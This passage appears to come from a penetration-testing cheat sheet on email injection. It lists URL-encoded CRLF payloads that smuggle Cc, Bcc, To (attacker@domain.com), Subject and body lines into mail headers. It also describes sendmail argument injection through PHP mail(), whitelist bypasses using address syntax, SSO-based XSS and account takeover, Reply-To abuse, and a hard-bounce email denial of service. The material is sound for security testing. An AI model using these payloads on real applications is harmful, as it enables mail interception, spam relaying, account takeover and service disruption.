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## Inject in sent e-mail ### Inject Cc and Bcc after sender argument ``` From:sender@domain.com%0ACc:recipient@domain.co,%0ABcc:recipient1@domain.com ``` The message will be sent to the recipient and recipient1 accounts. ### Inject argument ``` From:sender@domain.com%0ATo:attacker@domain.com ``` The message will be sent to the original recipient and the attacker account. ### Inject Subject argument ``` From:sender@domain.com%0ASubject:This is%20Fake%20Subject ``` The fake subject will be added to the original subject and in some cases will replace it. It depends on the mail service behavior. ### Change the body of the message Inject a two-line feed, then write your message to change the body of the message. ``` From:sender@domain.com%0A%0AMy%20New%20%0Fake%20Message. ``` ### PHP mail() function exploitation ```bash # The function has the following definition: php --rf mail Function [ function mail ] { - Parameters [5] { Parameter #0 [ $to ] Parameter #1 [ $subject ] Parameter #2 [ $message ] Parameter #3 [ $additional_headers ] Parameter #4 [ $additional_parameters ] } } ``` #### The 5th parameter ($additional\_parameters) This section is going to be based on **how to abuse this parameter supposing that an attacker controls it**. This parameter is going to be added to the command line PHP will be using to invoke the binary sendmail. However, it will be sanitised with the function `escapeshellcmd($additional_parameters)`. An attacker can **inject extract parameters for sendmail** in this case. #### Differences in the implementation of /usr/sbin/sendmail **sendmail** interface is **provided by the MTA email software** (Sendmail, Postfix, Exim etc.) installed on the system. Although the **basic functionality** (such as -t -i -f parameters) remains the **same** for compatibility reasons, **other functions and parameters** vary greatly depending on the MTA installed. Here are a few examples of different man pages of sendmail command/interface: * Sendmail MTA: http://www.sendmail.org/\~ca/email/man/sendmail.html * Postfix MTA: http://www.postfix.org/mailq.1.html * Exim MTA: https://linux.die.net/man/8/eximReferences Depending on the **origin of the sendmail** binary different options have been discovered to abuse them and l**eak files or even execute arbitrary commands**. Check how in [**https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html**](https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html) ## Inject in the e-mail name ### Ignored parts of an email The symbols: **+, -** and **{}** in rare occasions can be used for tagging and ignored by most e-mail servers * E.g. john.doe+intigriti@example.com → john.doe@example.com **Comments between parentheses ()** at the beginning or the end will also be ignored * E.g. john.doe(intigriti)@example.com → john.doe@example.com ### Whitelist bypass

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### IPs You can also use IPs as domain named between square brackets: * john.doe@\[127.0.0.1] * john.doe@\[IPv6:2001:db8::1] ### Other vulns ![](<../.gitbook/assets/image (296).png>) ## Third party SSO ### XSS Some services like **github** or **salesforce allows** you to create an **email address with XSS payloads on it**. If you can **use this providers to login on other services** and this services **aren't sanitising** correctly the email, you could cause **XSS**. ### Account-Takeover If a **SSO service** allows you to **create an account without verifying the given email address** (like **salesforce**) and then you can use that account to **login in a different service** that **trusts** salesforce, you could access any account.\ _Note that salesforce indicates if the given email was or not verified but so the application should take into account this info._ ## Reply-To You can send an email using _**From: company.com**_\*\* \*\* and _**Replay-To: attacker.com**_ and if any **automatic reply** is sent due to the email was sent **from** an **internal address** the **attacker** may be able to **receive** that **response**. ## Hard Bounce Rate Some applications like AWS have a **Hard Bounce Rate** (in AWS is 10%), that whenever is overloaded the email service is blocked. A **hard bounce** is an **email** that couldn’t be delivered for some permanent reasons. Maybe the **email’s** a fake address, maybe the **email** domain isn’t a real domain, or maybe the **email** recipient’s server won’t accept **emails**) , that means from total of 1000 emails if 100 of them were fake or were invalid that caused all of them to bounce, **AWS SES** will block your service. So, if you are able to **send mails (maybe invitations) from the web application to any email address, you could provoke this block by sending hundreds of invitations to nonexistent users and domains: Email service DoS.** ## References * [https://resources.infosecinstitute.com/email-injection/](https://resources.infosecinstitute.com/email-injection/) * [https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html](https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html) * [https://drive.google.com/file/d/1iKL6wbp3yYwOmxEtAg1jEmuOf8RM8ty9/view](https://drive.google.com/file/d/1iKL6wbp3yYwOmxEtAg1jEmuOf8RM8ty9/view) * [https://www.youtube.com/watch?app=desktop\&v=4ZsTKvfP1g0](https://www.youtube.com/watch?app=desktop\&v=4ZsTKvfP1g0)

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